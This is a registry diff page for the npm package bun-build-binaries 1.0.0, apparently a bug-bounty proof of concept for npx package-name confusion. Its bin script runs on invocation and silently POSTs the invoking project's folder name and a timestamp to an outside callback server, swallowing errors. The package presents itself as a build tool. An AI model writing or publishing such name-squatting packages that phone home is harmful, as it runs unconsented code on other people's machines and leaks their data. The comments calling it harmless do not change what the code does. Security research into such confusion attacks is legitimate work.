bun-build-binaries 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/run.js +44 -0
  2. package/package.json +10 -0
package/bin/run.js ADDED
@@ -0,0 +1,44 @@
1
+ #!/usr/bin/env node
2
+
3
+ // SECURITY RESEARCH: Harmless npx confusion PoC.
4
+ // This package sends a simple "ping" to verify execution.
5
+ // No system data, source code, or PII is accessed or transmitted.
6
+ // Contact: dd_06@intigriti.me
7
+
8
+ const http = require('http');
9
+ const https = require('https');
10
+ const path = require('path');
11
+
12
+ // INIT_CWD is set by npm to the directory where npx was invoked from.
13
+ const targetDir = process.env.INIT_CWD || process.cwd();
14
+ const safeProjectName = path.basename(targetDir);
15
+
16
+ const info = {
17
+ pkg: "bun-build-binaries",
18
+ timestamp: new Date().toISOString(),
19
+ transport: 'http (npx)',
20
+ project: safeProjectName,
21
+ };
22
+
23
+ const CALLBACK_URL = "https://deepbounty.dd06-dev.fr/cb/ee2e23fe-5482-4b23-9c27-225b8504a634";
24
+
25
+ function sendPing() {
26
+ const parsed = new URL(CALLBACK_URL);
27
+ const postData = JSON.stringify(info);
28
+ const lib = parsed.protocol === 'https:' ? https : http;
29
+
30
+ const req = lib.request(CALLBACK_URL, {
31
+ method: 'POST',
32
+ headers: {
33
+ 'Content-Type': 'application/json',
34
+ 'Content-Length': Buffer.byteLength(postData),
35
+ },
36
+ timeout: 15000,
37
+ }, (res) => { res.on('data', () => {}); });
38
+
39
+ req.on('error', () => {});
40
+ req.write(postData);
41
+ req.end();
42
+ }
43
+
44
+ sendPing();
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "bun-build-binaries",
3
+ "version": "1.0.0",
4
+ "description": "Security PoC for Bug Bounty",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "bun-build-binaries": "./bin/run.js"
8
+ },
9
+ "author": "dd_06"
10
+ }